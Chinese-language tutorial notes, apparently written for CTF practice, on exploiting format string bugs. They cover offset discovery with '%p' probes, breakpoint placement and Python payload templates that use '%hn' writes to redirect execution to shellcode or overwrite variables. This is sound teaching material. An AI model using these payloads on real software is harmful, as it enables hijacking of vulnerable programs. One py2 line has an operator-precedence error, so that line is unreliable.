格式化字符串漏洞利用总结

格式化字符串参数

对于 32 位程序,格式化字符串的参数直接保存在栈中。对于 64 位程序,格式化字符串的前五个参数储存在寄存器中,多余的参数保存在栈顶。

确定偏移

确定格式化字符串的偏移量一般是通过输入特殊的字符串完成的,这样的字符串一般形式如下:

AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p...

如果能够在输出中看到与 “AAAA” 对应的十六进制数 (0x41414141),通过计算该数为格式化字符串的第几个参数,即可得知格式化字符串的对应偏移。

举例

假设输入如下:

AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p

相应输出如下:

AAAA-0xfff077f0-0xf7d9ec1b-(nil)-0xf7f0f000-(nil)-0xfff07bf8-0x8048787-0xfff077f0-(nil)-0xfff07bf8-0x804874a-0x1-0x1-0xf7d3bdc8-0x2-0x41414141-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d-0x252d7025-0x70252d70-0x2d70252d

0x41414141 位于格式化字符串第 16 个参数的位置,故格式化字符串偏移量为 16。

设置断点

进行格式字符串漏洞调试时,断点可下在进入出现格式化字符串漏洞的 printf 函数前的 call printf 处。当程序运行到该断点时,查看当前栈内存,还可以直观地数出格式字符串的偏移量。对于 32 位程序,当程序运行到该断点时,栈顶为格式化字符串指针,偏移应从 esp+4 的位置算起。

payload 编写

格式化字符串漏洞所用 payload 编写起来有些麻烦,往往因为修改了 payload 的某部分而导致不得不对其他部分也进行修改。在利用格式字符串漏洞对某变量进行写入时,往往会出现因为一次性打印或传输的字符数过多而导致利用失败的情况,这时应对要写入的数据进行分割,分几部分进行写入。编写 payload 时需要注意零截断,因此要写入的变量的指针一般放在 payload 的最后。

payload 可以有一定的固定格式,大致如下:

# py2
# 假设 shellcode_place = 0xff937280
payload  = '%' + str(shellcode_place & 0xFFFF) + 'c' + '%32$hn' 
payload += '%' + str((shellcode_place >> 16) & 0xFFFF - (shellcode_place & 0xFFFF)) + 'c' + '%33$hn'
payload  = payload.ljust(64, 'a') + p32(leak - 0x24) + p32(leak - 0x24 + 2) + 'b' * 8 + shellcode

# py3
payload  = b'%' + bytes(str(hiword), 'utf8') + b'c' + b'%25$hn' 
payload += b'%' + bytes(str(loword - hiword), 'utf8') + b'c' + b'%26$hn'
payload  = payload.ljust(64, b'a')
payload  = payload[:52] + p32(key + 2) + p32(key)

另外需要注意,分几部分对指定变量进行修改时,后一部分要打印的字符数应减去前一部分已打印的字符数,具体可见如上 payload。

bss 段或堆上的格式化字符串漏洞利用

一般是利用栈上储存的二级指针,它指向的一级指针同样指向栈上。通过该二级指针使得其指向的一级指针指向栈上保存的返回地址。之后再通过被修改的一级指针来劫持保存在栈上的返回地址,进而控制程序流。

2019-2020 @lukbash